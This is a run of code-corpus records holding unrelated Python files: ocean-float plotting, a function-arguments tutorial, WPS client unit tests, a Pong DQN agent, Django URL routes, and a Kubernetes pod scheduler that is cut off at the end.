plt.subplots()\n else:\n fig = ax.get_figure()\n\n df = df.loc[df.PRES < ylim[1]+50]\n\n im = ax.scatter(df.SDN, df.PRES, c=df[varname], s=50, cmap=cmap, vmin=1.05*df[varname].min(), vmax=0.95*df[varname].max(), **kwargs)\n cb = plt.colorbar(im, ax=ax)\n cb.set_label(clabel)\n ax.set_ylim(ylim)\n ax.invert_yaxis()\n\n ax.set_ylabel('Depth (dbar)')\n\n w, h = fig.get_figwidth(), fig.get_figheight()\n fig.set_size_inches(w*2, h)\n\n mhr = mdates.MonthLocator(interval=4)\n mihr = mdates.MonthLocator()\n fmt = mdates.DateFormatter('%b %Y')\n\n ax.xaxis.set_major_locator(mhr)\n ax.xaxis.set_major_formatter(fmt)\n ax.xaxis.set_minor_locator(mihr)\n\n g = pltClass()\n g.fig = fig\n g.axes = [ax]\n g.cb = cb\n\n return g\n\ndef profiles(df, varlist=['DOXY'], Ncycle=1, Nprof=1, zvar='PRES', xlabels=None, ylabel=None, axes=None, ylim=None, **kwargs):\n\n if xlabels is None:\n var_units = dict(\n TEMP='Temperature ({}C)'.format(chr(176)),\n TEMP_ADJUSTED='Temperature ({}C)'.format(chr(176)),\n PSAL='Practical Salinity', \n PSAL_ADJUSTED='Practical Salinity', \n PDEN='Potential Density (kg m$^{-3}$)',\n CHLA='Chlorophyll (mg m$^{-3}$',\n CHLA_ADJUSTED='Chlorophyll (mg m$^{-3}$',\n BBP700='$\\mathsf{b_{bp}}$ (m$^{-1}$)',\n BBP700_ADJUSTED='$\\mathsf{b_{bp}}$ (m$^{-1}$)',\n CDOM='CDOM (mg m$^{-3}$)',\n CDOM_ADJUSTED='CDOM (mg m$^{-3}$)',\n DOXY='Diss. Oxygen ($\\mathregular{\\mu}$mol kg$^{-1}$)',\n DOXY_ADJUSTED='Diss. Oxygen ($\\mathregular{\\mu}$mol kg$^{-1}$)',\n DOWNWELLING_IRRADIANCE='Downwelling Irradiance (W m$^{-2}$)',\n )\n xlabels = [var_units[v] for v in varlist]\n\n if axes is None:\n fig, axes = plt.subplots(1, len(varlist), sharey=True)\n if len(varlist) == 1:\n axes = [axes]\n elif len(varlist) > 1:\n fig = axes[0].get_figure()\n else:\n fig = axes.get_figure()\n axes = [axes]\n\n if ylim is None:\n if zvar == 'PRES':\n ylim=(0,2000)\n if ylabel is None:\n ylabel = 'Pressure (dbar)'\n elif zvar == 'PDEN':\n ylim = (df.PDEN.min(), df.PDEN.max())\n if ylabel is None:\n ylabel = 'Density (kg m$^{-3}$)'\n\n df.loc[df[zvar] > ylim[1]*1.1] = np.nan\n\n CYCNUM = df.CYCLE.unique()\n\n for i,v in enumerate(varlist):\n for n in range(Nprof):\n subset_df = df.loc[df.CYCLE == CYCNUM[Ncycle-1 + n-1]]\n\n axes[i].plot(subset_df[v], subset_df[zvar], **kwargs)\n \n axes[i].set_ylim(ylim[::-1])\n axes[i].set_xlabel(xlabels[i])\n\n subset_df = df.loc[df.CYCLE == CYCNUM[Ncycle-1]]\n date = mdates.num2date(subset_df.SDN.iloc[0]).strftime('%d %b, %Y')\n\n axes[0].set_ylabel(ylabel)\n if Nprof != 1:\n axes[0].set_title('Cyc. {:d}-{:d}, {}'.format(int(CYCNUM[Ncycle-1]), int(CYCNUM[Ncycle-1+Nprof-1]), date))\n else:\n axes[0].set_title('Cyc. {:d}, {}'.format(int(CYCNUM[Ncycle-1]), date))\n\n w, h = fig.get_figwidth(), fig.get_figheight()\n fig.set_size_inches(w*len(varlist)/3, h)\n\n g = pltClass()\n g.fig = fig\n g.axes = axes\n\n plt.show()\n\n return g\n","sub_path":"build/lib/bgcArgo/fplt.py","file_name":"fplt.py","file_ext":"py","file_size_in_byte":8762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"318745659","text":"\"\"\"Useful utils.\n\nunique_list: A list that guarantees element uniqueness, but saves order.\nflag: A class that encapsulates a flag that can contain two parts.\nthread_pool: A class that encapsulates a thread pool to allow delayed run.\nprogress_status: A class for showing a progress indicator in status line.\ncompiler_builtins: Get built-in flags of a compiler.\n\n\"\"\"\n__all__ = (\"unique_list\",\n \"flag\",\n \"thread_pool\",\n \"progress_status\",\n \"quick_panel_handler\",\n \"compiler_builtins\")\n","sub_path":"plugin/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"434835181","text":"# coding: utf8\n'''НЕИЗМЕНЯЕМЫЕ объекты передаются «по значению». Такие объекты, как\nцелые числа и строки, передаются в виде ссылок на объекты, а не в виде\nкопий объектов, но так как неизменяемые объекты невозможно изменить\nнепосредственно, передача таких объектов очень напоминает копирование.\n•• ИЗМЕНЯЕМЫЕ объекты передаются «по указателю». Такие объекты, как\nсписки и словари, также передаются в виде ссылок на объекты, изменяемые\nобъекты допускают возможность непосредственного изменения внутри\nфункции.'''\n\n\ndef tfunc(x, y):\n print('x=', x)\n print('y=', y)\n\n\ntfunc(1, 7) # сопоставление по позиции\ntfunc(y=9, x=8) # сопоставление по имени\nl = [4, 5]\ntfunc(*l) # распаковывание\n\ndic = {'x': 'a', 'y': 88}\ntfunc(**dic) # распаковывание словаря, где ключ - имя параметра, значение - значение параметра\n\n\n###################################\ndef max(x, y):\n if x >= y:\n return x\n else:\n return y\n\n\nprint(max(8, 6))\nz = max(7, 9)\nprint(z)\n\n\ndef add_num(x, y):\n total = x + y\n return total\n print('test')\n\n\nprint(add_num(4, 8))\n\n\ndef mult(x, y):\n return x * y\n\n\na = 4\nb = 7\noper = mult\nprint(oper(a, b))\n\n\ndef add(x, y):\n return x + y\n\n\n# !!!\ndef do_twice(func, x, y):\n return func(func(x, y), func(x, y))\n\n\nprint(do_twice(add, 5, 7))\n\n\ndef test():\n # test_v = 1\n global test_v\n test_v += 1\n print(test_v)\n\n\ntest_v = 1\ntest()\ntest()\n\n# *args\nprint('*args')\n\n\ndef tfunc(*args):\n print(args)\n print(args[1])\n\n\ntfunc(1, 2, 3, [1, 2])\n\n\n# x, y необходимо передавать по имени\ndef tfunc(*args, x, y=55):\n print(args)\n print(args[1])\n print(x, y)\n\n\ntfunc(1, 2, 3, [1, 2], x=99, y=88)\n\n# **kwargs\nprint('**kwargs')\n\n\ndef tfunc1(**kwargs):\n print(kwargs)\n\n\ntfunc1(x=1, y=5)\n\n\n# tracer\ndef tracer(func, *pargs, **kargs): # Принимает произвольные аргументы\n print('calling:', func.__name__)\n\n return func(*pargs, **kargs) # Передает все полученные аргументы\n\n\ndef func(a, b, c, d):\n return a + b + c + d\n\n\nprint(tracer(func, 1, 2, c=3, d=4))\n\n\n# intersect\ndef intersect(*args):\n res = []\n for x in args[0]: # Сканировать первую последовательность\n for other in args[1:]: # Во всех остальных аргументах\n if x not in other: # Общий элемент?\n break # Нет: прервать цикл\n else:\n res.append(x) # Да: добавить элемент в конец\n return res\n\n\ns1, s2, s3 = 'SPAM', 'SCAM', 'SLAM'\nprint(intersect(s1, s2))\n\n# то же самое, но через множества\nprint(set(s1) & set(s2) & set(s3))\n\nprint(\"End\")\n","sub_path":"functions_python_3.py","file_name":"functions_python_3.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"575144665","text":"\"\"\"\nProcess Unittest.\n\"\"\"\n\nimport unittest\n\nimport mock\nimport requests\nfrom pyxb.utils import domutils\n\nimport cwt\nfrom cwt.wps import ows\nfrom cwt.wps import wps\nfrom cwt.wps import xlink\n\nbds = domutils.BindingDOMSupport()\n\nbds.declareNamespace(ows.Namespace, prefix='ows')\n\nbds.declareNamespace(wps.Namespace, prefix='wps')\n\nbds.declareNamespace(xlink.Namespace, prefix='xlink')\n\nclass TestProcess(unittest.TestCase):\n \"\"\" Process Test Case. \"\"\"\n\n def setUp(self):\n process = wps.process('CDAT.subset', 'CDAT.subset', '1.0.0')\n\n started = wps.status_started('started', 10)\n\n output = wps.output_data('output', 'Output', '{\"id\": \"tas|tas\", \"uri\": \"file:///test.nc\"}')\n\n self.execute = wps.execute_response(process, started, '1.0.0', 'en-US', 'http://idontexist.com/wps', 'http://idontexist.com/status', [output])\n\n failed = wps.status_failed('error', '10', '1.0.0')\n\n self.execute_failed = wps.execute_response(process, failed, '1.0.0', 'en-US', 'http://idontexist.com/wps', 'http://idontexist.com/status', [output])\n\n self.binding = wps.process('CDAT.subset', 'CDAT.subset', '1.0.0')\n\n def tearDown(self):\n bds.reset()\n\n @mock.patch('cwt.process.logger')\n def test_wait_duplicate_status(self, mock_logger):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n type(process).processing = mock.PropertyMock(side_effect=[True, True, False])\n\n type(process).status = mock.PropertyMock(side_effect=['status 1',\n 'status 2',\n 'status 2',\n 'status 4'])\n\n type(process).succeeded = mock.PropertyMock(return_value=True)\n\n result = process.wait()\n\n self.assertTrue(result)\n\n def test_wait_no_success(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n type(process).processing = mock.PropertyMock(side_effect=[True, True, False])\n\n type(process).status = mock.PropertyMock(side_effect=['status 1',\n 'status 2',\n 'status 3',\n 'status 4',\n 'status 5'])\n\n type(process).succeeded = mock.PropertyMock(return_value=False)\n\n result = process.wait()\n\n self.assertFalse(result)\n\n def test_wait(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n type(process).processing = mock.PropertyMock(side_effect=[True, True, False])\n\n type(process).status = mock.PropertyMock(side_effect=['status 1',\n 'status 2',\n 'status 3',\n 'status 4',\n 'status 5'])\n\n type(process).succeeded = mock.PropertyMock(return_value=True)\n\n result = process.wait()\n\n self.assertTrue(result)\n\n def test_parameterize(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.set_domain(cwt.Domain([\n cwt.Dimension('time', 0, 365),\n ]))\n\n process.add_parameters(test=['value1'])\n\n process.add_inputs(cwt.Variable('file:///test.nc', 'tas'))\n\n data = process.parameterize()\n\n def test_update_status(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n self.assertIsNone(process.update_status())\n\n def test_collect_input_processes(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process1 = cwt.Process.from_identifier('CDAT.regrid')\n\n process1.add_inputs(cwt.Variable('file:///test.nc', 'tas'))\n\n process.add_inputs(process1, cwt.Variable('file:///test1.nc', 'tas'))\n\n processes, variables = process.collect_input_processes()\n\n self.assertEqual(len(processes), 1)\n\n self.assertEqual(len(variables), 2)\n\n def test_resolve_inputs_missing(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.inputs = ['subset']\n\n with self.assertRaises(cwt.ProcessError):\n process.resolve_inputs({}, {})\n\n def test_resolve_inputs_circular(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.inputs = ['subset']\n\n with self.assertRaises(cwt.ProcessError):\n process.resolve_inputs({}, {'subset': process })\n\n def test_resolve_inputs(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.inputs = ['v0', 'subset']\n\n variables = {\n 'v0': cwt.Variable('file:///v0.nc', 'tas'),\n }\n\n operations = {\n 'subset': cwt.Process.from_identifier('CDAT.subset'),\n }\n\n process.resolve_inputs(variables, operations)\n\n self.assertIn(variables['v0'], process.inputs)\n\n self.assertIn(operations['subset'], process.inputs)\n\n def test_add_inputs(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.add_inputs(cwt.Variable('file:///test.nc', 'tas'))\n\n self.assertEqual(len(process.inputs), 1)\n\n def test_add_parameter_key_value_single(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.add_parameters(test='value1')\n\n self.assertEqual(len(process.parameters), 1)\n self.assertEqual(process.parameters.values()[0].values, ['value1'])\n\n def test_add_parameter_key_value(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.add_parameters(test=['value1'])\n\n self.assertEqual(len(process.parameters), 1)\n self.assertEqual(process.parameters.values()[0].values, ['value1'])\n \n def test_add_parameter_invalid_type(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n with self.assertRaises(cwt.ProcessError):\n process.add_parameters('test')\n\n def test_add_parameter(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.add_parameters(cwt.NamedParameter('test', 'value1'))\n\n self.assertEqual(len(process.parameters), 1)\n\n def test_get_parameter_missing_required(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.parameters['test'] = cwt.NamedParameter('test', 'value1')\n\n with self.assertRaises(cwt.ProcessError):\n process.get_parameter('test2', True)\n\n def test_get_parameter_missing(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.parameters['test'] = cwt.NamedParameter('test', 'value1')\n\n self.assertIsNone(process.get_parameter('test2'))\n\n def test_get_parameter(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.parameters['test'] = cwt.NamedParameter('test', 'value1')\n\n param = process.get_parameter('test')\n\n self.assertEqual(param.name, 'test')\n\n def test_output_not_available(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n self.assertIsNone(process.output)\n\n def test_output(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n process.response = self.execute\n\n self.assertIsInstance(process.output, cwt.Variable)\n\n def test_processing(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n mock_client = mock.MagicMock()\n\n mock_client.http_request.return_value = self.execute.toxml(bds=bds)\n\n process.set_client(mock_client)\n\n process.response = self.execute\n\n self.assertTrue(process.processing)\n\n def test_from_dict(self):\n data = {\n 'name': 'CDAT.subset',\n 'result': 'subset',\n 'input': ['v0'],\n 'domain': 'd0',\n 'gridder': {\n 'grid': 'T21',\n }\n }\n\n process = cwt.Process.from_dict(data)\n\n self.assertEqual(process.identifier, 'CDAT.subset')\n self.assertEqual(process.inputs, ['v0'])\n self.assertEqual(process.domain, 'd0')\n\n\n def test_from_binding(self):\n process = cwt.Process.from_binding(self.binding)\n\n self.assertEqual(process.identifier, 'CDAT.subset')\n\n def test_from_identifier(self):\n process = cwt.Process.from_identifier('CDAT.subset')\n\n self.assertEqual(process.identifier, 'CDAT.subset')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cwt/tests/test_process.py","file_name":"test_process.py","file_ext":"py","file_size_in_byte":8704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"587194595","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom itertools import product\nfrom random import sample\nfrom scipy.stats import dirichlet\nfrom numpy.random import multinomial\n\ndef flatten(ls):\n return [item for sublist in ls for item in sublist]\n\ndef random_index(n,p,x,minp=1):\n \"\"\"\n n,p,x are all integer arguments\n n & p specify the row,column dimensions of a 2d array\n x is the desired number of index tuples to be returned\n minp is the minimum number of non-missing values per row\n \"\"\"\n all_idx = list(product(xrange(n),xrange(p)))\n exclude_idx = flatten(sample(all_idx[(p*i):(p*i+p)],minp) for i in xrange(n))\n return sample(set(all_idx) - set(exclude_idx),x)\n \ndef nansample(alpha,total_count):\n k = alpha.shape[0]\n mask = ~np.isnan(alpha)\n sample = np.empty((k,))\n sample[:] = np.nan\n sample[mask] = multinomial(total_count, pvals = dirichlet.rvs(alpha[mask],size=1).reshape(mask.sum()))\n return sample\n \ndef generate_fake_counts(alpha, total_count_range, n, n_nan):\n total_counts_per_row = np.random.randint(*total_count_range,size=n)\n p = alpha.shape[0]\n nan_idx = random_index(n,p,n_nan)\n alpha_tile = np.tile(alpha,(n,1))\n for (i,j) in nan_idx:\n alpha_tile[i,j] = np.nan \n return np.array(map(nansample, alpha_tile, total_counts_per_row))","sub_path":"dirmult/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"527731856","text":"from wimblepong import Wimblepong\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\nimport pickle\nimport cv2\n\n\nclass Q_CNN(nn.Module):\n def __init__(self, state_space, action_space, size, fc1_size=64):\n super(Q_CNN, self).__init__()\n self.state_space = state_space\n self.action_space = action_space\n self.linear_size = int((size / 2 - 8)**2 * 4)\n\n self.conv1 = nn.Conv2d(1, 16, 8, 2)\n self.conv2 = nn.Conv2d(16, 8, 4, 1)\n self.conv3 = nn.Conv2d(8, 4, 3, 1)\n self.fc1 = torch.nn.Linear(self.linear_size, fc1_size)\n self.fc2 = torch.nn.Linear(fc1_size, action_space)\n\n def forward(self, x):\n # Computes the activation of the first convolution\n # Size changes from (3, 32, 32) to (18, 32, 32)\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n\n # Reshape data to input to the input layer of the neural net\n # Size changes from (18, 16, 16) to (1, 4608)\n # Recall that the -1 infers this dimension from the other given dimension\n x = x.view(-1, self.fc1.in_features)\n\n # Computes the activation of the first fully connected layer\n # Size changes from (1, 4608) to (1, 64)\n x = F.relu(self.fc1(x))\n\n # Computes the second fully connected layer (activation applied later)\n # Size changes from (1, 64) to (1, 10)\n x = self.fc2(x)\n return x\n\n\nclass Agent(object):\n def __init__(self, player_id=1, size=120, fc1_size=64):\n self.player_id = player_id\n self.name = \"Lasers PEW PEW\"\n self.size = size\n self.fc1_size = fc1_size\n self.model_info = None\n self.prev_state = None\n self.ignore_opponent = False\n\n if torch.cuda.is_available():\n print(\"Using GPU!\")\n torch.cuda.set_device(0)\n\n self.batch_size = 256 * 2\n\n def load_model(self):\n self.policy_net = torch.load(\"policy_net.pth\")\n with open(\"model_info.p\", \"rb\") as f:\n self.model_info = pickle.load(f)\n\n if 'ignore_opponent' in self.model_info:\n self.ignore_opponent = self.model_info[\"ignore_opponent\"]\n\n def reset(self):\n self.prev_state = None\n\n def get_name(self):\n return self.name\n\n def get_action(self, state):\n if self.prev_state is None:\n self.prev_state = process_state(state, self.size, self.ignore_opponent)\n return 0\n else:\n state = process_state(state, self.size, self.ignore_opponent)\n state_diff = get_state_diff(state, self.prev_state)\n self.prev_state = state\n\n with torch.no_grad():\n state_diff = state_diff.reshape(1, 1, self.size, self.size)\n state_diff = torch.from_numpy(state_diff).float()\n q_values = self.policy_net(state_diff)\n action = torch.argmax(q_values).item()\n\n return action\n\n\ndef get_state_diff(state, prev_state):\n return 2 * state - prev_state\n\n\ndef process_state(state, size, ignore_opponent=False):\n mask = np.all(state == [43, 48, 58], axis=-1)\n state[mask] = [0, 0, 0]\n state = np.mean(state, axis=-1)\n\n if ignore_opponent:\n state[:, 180:] = 0\n\n if size < 200:\n state = cv2.resize(state, (size, size))\n state = state.astype(int)\n state = state.reshape((1, size, size))\n return state\n","sub_path":"official_test/Lasers PEW PEW/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"145128586","text":"class Solution:\n def isCyclic(self, graph, v, visited, lookup, order):\n visited[v] = True\n lookup[v] = True\n cycle = False\n for u in graph[v]:\n if lookup[u]:\n cycle = True\n elif not visited[u]:\n cycle = self.isCyclic(graph, u, visited, lookup, order)\n if cycle:\n break\n lookup[v] = False\n order.append(v)\n return cycle\n \n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n courses = [[] for _ in range(numCourses)]\n for u, v in prerequisites:\n courses[v].append(u)\n \n visited = [False] * numCourses\n lookup = [False] * numCourses\n order = []\n \n for v in range(numCourses):\n if not visited[v] and self.isCyclic(courses, v, visited, lookup, order):\n return []\n \n return order[::-1]\n","sub_path":"CourseScheduleII/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"533902468","text":"import json\nfrom unittest import TestCase\n\n\nclass TestSetting(TestCase):\n def test_json_logging(self):\n with open('/Users/hakgyun/repository_chosunbiz/inbound-script-py/config/logging.json', 'rt') as f:\n config_json = json.load(f)\n config_json['handlers']['file_handler']['filename'] = 'test.logs'\n # print(config_json)\n with open('/Users/hakgyun/repository_chosunbiz/inbound-script-py/config/config.json', 'rt') as f:\n target_config_json = json.load(f)\n # print(target_config_json)\n\n for target in target_config_json:\n\n if target['active']:\n\n protocol = target['protocol']\n\n if protocol == 'local':\n print(target['name'])\n elif protocol == 'sftp':\n print(target['name'])\n","sub_path":"test/test_setting.py","file_name":"test_setting.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180019290","text":"import numpy as np\nfrom dataset.mnist import load_mnist\nfrom neural_net import TwoLayerNet\n\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)\n\nnetwork = TwoLayerNet(input_size=784, hidden_size=50, output_size=10)\n\nx_batch = x_train[:3]\nt_batch = t_train[:3]\n\nprint('Start')\ngrad_numerical = network.numerical_gradient(x_batch, t_batch)\nprint('Done numerial_gradient')\ngrad_backprop = network.gradient(x_batch, t_batch)\nprint('Done back propagation gradient')\n\nfor key in grad_numerical.keys():\n diff = np.average(np.abs(grad_backprop[key] - grad_numerical[key]))\n print(key + ': ' + str(diff))","sub_path":"test_gradient_check.py","file_name":"test_gradient_check.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462239129","text":"\nfrom django.conf.urls import url, include\nfrom .views import (TweetListView,#, tweet_detail_view , tweet_list_view, Tweet_Create_View\n TweetDetailView,\n TweetCreateView,\n TweetUpdateView,\n TweetDeleteView,\n set_timezone,\n RetweetView,\n )\nfrom django.views.generic.base import RedirectView\n\n\nurlpatterns = [\n # url(r'^$', tweet_list_view, name='list'),\n # url(r'^1/$', tweet_detail_view, name='detail'),\n\n url(r'^$', RedirectView.as_view(url=\"/\")),\n url(r'^search/$', TweetListView.as_view(), name='list'), # /tweet/\n # url(r'^(?P\\d+)/$', tweet_detail_view, name='detail'),\n url(r'^(?P\\d+)/$', TweetDetailView.as_view(), name='detail'), # /tweet/1 keyword argument\n url(r'^create/$', TweetCreateView.as_view(), name='create'), # /tweet/create\n # url(r'^create/$', Tweet_Create_View, name='Create'),\n url(r'^(?P\\d+)/update/$', TweetUpdateView.as_view(), name='update'), # /tweet/1/update\n url(r'^(?P\\d+)/delete/$', TweetDeleteView.as_view(), name='delete'), # # /tweet/1/delete\n url(r'^time/$', set_timezone, name='time'), # # /tweet/1/delete\n url(r'^(?P\\d+)/retweet/$', RetweetView.as_view(), name='retweet'), # /tweet/1 keyword argument\n\n\n\n]\n","sub_path":"project/src/tweets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"643761620","text":"# Эта функция возвращает аргумент, умноженный на два,\n# если он отрицательный, или аргумент, умноженный на три,\n# если он больше или равен нулю\ndef function(x):\n if x < 0:\n return x * 2\n else:\n return x * 3\n\n\ndef main():\n # Вывод значений функции в диапазоне [-3, 3]\n for i in range(-3, 4):\n y = function(i)\n print('function(', i, ') = ', y, sep='')\n\n\nif __name__ == '__main__':\n main()","sub_path":"Starter/005_Examples/07-multiple-return-statements.py","file_name":"07-multiple-return-statements.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"556134475","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nScript to get a subset of n streamlines from a tractogram.\n\"\"\"\n\nimport argparse\n\nfrom dipy.io.streamline import save_tractogram\n\nfrom scilpy.io.streamlines import load_tractogram_with_reference\nfrom scilpy.io.utils import (add_overwrite_arg,\n add_reference_arg,\n assert_inputs_exist,\n assert_outputs_exist)\nfrom scilpy.tracking.tools import get_subset_streamlines\n\n\ndef _build_arg_parser():\n p = argparse.ArgumentParser(\n formatter_class=argparse.RawTextHelpFormatter, description=__doc__)\n\n p.add_argument('in_tractogram',\n help='Streamlines input file name.')\n p.add_argument('max_num_streamlines', type=int,\n help='Maximum number of streamlines to output.')\n p.add_argument('out_tractogram',\n help='Streamlines output file name.')\n p.add_argument('--seed', default=None, type=int,\n help='Use a specific random seed for the resampling.')\n\n add_reference_arg(p)\n add_overwrite_arg(p)\n\n return p\n\n\ndef main():\n\n parser = _build_arg_parser()\n args = parser.parse_args()\n\n assert_inputs_exist(parser, args.in_tractogram)\n assert_outputs_exist(parser, args, args.out_tractogram)\n\n sft = load_tractogram_with_reference(parser, args, args.in_tractogram)\n\n new_sft = get_subset_streamlines(sft, args.max_num_streamlines, args.seed)\n\n save_tractogram(new_sft, args.out_tractogram)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/scil_get_subset_streamlines.py","file_name":"scil_get_subset_streamlines.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"226125519","text":"import time\r\nimport random\r\nimport json\r\nimport getsize\r\nimport numpy as np\r\nfrom scipy.optimize import curve_fit, minimize\r\n\r\nfrom kubernetes import client, config, watch\r\n\r\nlog = open('log.txt', 'w+')\r\n\r\nconfig.load_incluster_config()\r\nv1 = client.CoreV1Api()\r\ndelete_option = client.V1DeleteOptions()\r\n\r\nscheduler_name = \"staticscheduler\"\r\n\r\npodSeen = dict()\r\n\r\ndef getFileSizes():\r\n custom_master_pods = v1.list_namespaced_pod(\"default\", label_selector=\"run==group2-custom-master\", limit=1).items\r\n spark_master_pods = v1.list_namespaced_pod(\"default\", label_selector=\"run==group2-spark-master\", limit=1).items\r\n\r\n if len(list(custom_master_pods)) == 1 and len(list(spark_master_pods)) == 0:\r\n print(\"got inputsizes/ custom: {} , spark: {}\".format(int(custom_master_pods[0].metadata.labels[\"inputSize\"]), \"N/A\"))\r\n elif len(list(custom_master_pods)) == 0 and len(list(spark_master_pods)) == 1:\r\n print(\"got inputsizes/ custom: {} , spark: {}\".format(\"N/A\", int(spark_master_pods[0].metadata.labels[\"inputSize\"])))\r\n else:\r\n print(\"got inputsizes/ custom: {} , spark: {}\".format(int(custom_master_pods[0].metadata.labels[\"inputSize\"]), int(spark_master_pods[0].metadata.labels[\"inputSize\"])))\r\n #TODO: change or to and for running both custom and spark\r\n if len(list(custom_master_pods)) == 1 and len(list(spark_master_pods)) == 1:\r\n return [int(custom_master_pods[0].metadata.labels[\"inputSize\"]), int(spark_master_pods[0].metadata.labels[\"inputSize\"])]\r\n else:\r\n return [0,0]\r\n\r\ndef workersAllowed(app, filesizes): #app = 'spark' or 'custom'\r\n #calculating number of nodes to allocate\r\n #using getsize.py\r\n nodeCount = 10\r\n spark = getsize.spark(nodeCount, filesizes[0], filesizes[1])\r\n if app == \"group2-spark-worker\":\r\n return spark - 1\r\n else:\r\n return nodeCount - spark - 1\r\n\r\ndef workersAlreadyRunning(app): # app = 'spark' or 'custom'\r\n if app == 'group2-spark-worker' or app == 'group2-custom-worker':\r\n return len([k for k, v in podSeen[app].items() if v == 'running'])\r\n else:\r\n return 9999\r\n\r\n\r\ndef nodes_available():\r\n ready_nodes = []\r\n for n in v1.list_node().items:\r\n for status in n.status.conditions:\r\n if status.status == \"True\" and status.type == \"Ready\":\r\n ready_nodes.append(n.metadata.name)\r\n return ready_nodes\r\n\r\n\r\ndef scheduler(name, node, namespace=\"default\"):\r\n target = client.V1ObjectReference(kind=\"Node\", api_version=\"v1\", name=node)\r\n meta = client.V1ObjectMeta(name=name)\r\n body = client.V1Binding(metadata=meta, target=target)\r\n\r\n print(\"assign {} to {}\".format(body.target.name, body.metadata.name))\r\n res = None\r\n try:\r\n res = v1.create_namespaced_binding(namespace, body)\r\n except ValueError:\r\n print('ValueError as Expected')\r\n finally:\r\n return res\r\n\r\ndef main():\r\n w = watch.Watch()\r\n for event in w.stream(v1.list_namespaced_pod, \"default\"):\r\n pod = event['object']\r\n name = pod.metadata.name\r\n label = pod.metadata.labels['run']\r\n # labels = {group2-custom-worker, group2-spark-worker}\r\n if label not in podSeen:\r\n podSeen[label] = dict()\r\n print(\"\\nGot a pod - name: {}\\tphase: {}\\tscheduler_name: {}\\tlabel: {}\".format(name, pod.status.phase, pod.spec.scheduler_name, label))\r\n\r\n #phase = Pending / Running / Succeeded / Failed / Unknown\r\n if pod.status.phase == 'Succeeded':\r\n podSeen[label][name] = 'Succeeded'\r\n elif pod.status.phase == 'Failed':\r\n print(\"Failed Pod received, Deleting this pod\")\r\n podSeen[label][name] = 'Failed'\r\n try:\r\n v1.delete_namespaced_pod(pod.metadata.name, 'default', delete_option)\r\n except client.rest.ApiException:\r\n print('ApiException as expected for double deleting')\r\n elif pod.status.phase == \"Pending\" and pod.spec.scheduler_name == scheduler_name:\r\n log.write(\"okay on this pod, let's start \\n\")\r\n log.flush()\r\n #wait if we don't see both drivers for custom & spark\r\n fileSizes = []\r\n while True:\r\n fileSizes = getFileSizes()\r\n if fileSizes[0] == 0:\r\n print(\"filesizes: {}, falling asleep\".format(fileSizes))\r\n time.sleep(5)\r\n else:\r\n break\r\n #check if there's already enough workers or not\r\n alreadyRunning = workersAlreadyRunning(label)\r\n allowed = workersAllowed(label, fileSizes)\r\n print(\"{} workers already running / {} allowed\".format(alreadyRunning, allowed))\r\n if alreadyRunning < allowed:\r\n if name not in podSeen[label] or podSeen[label][name] == 'Failed':\r\n print(\"okay I can assign a node\")\r\n nodesAvailable = nodes_available()\r\n try:\r\n node = random.choice(nodesAvailable)\r\n podSeen[label][name] = 'running'\r\n res = scheduler(name, node)\r\n except 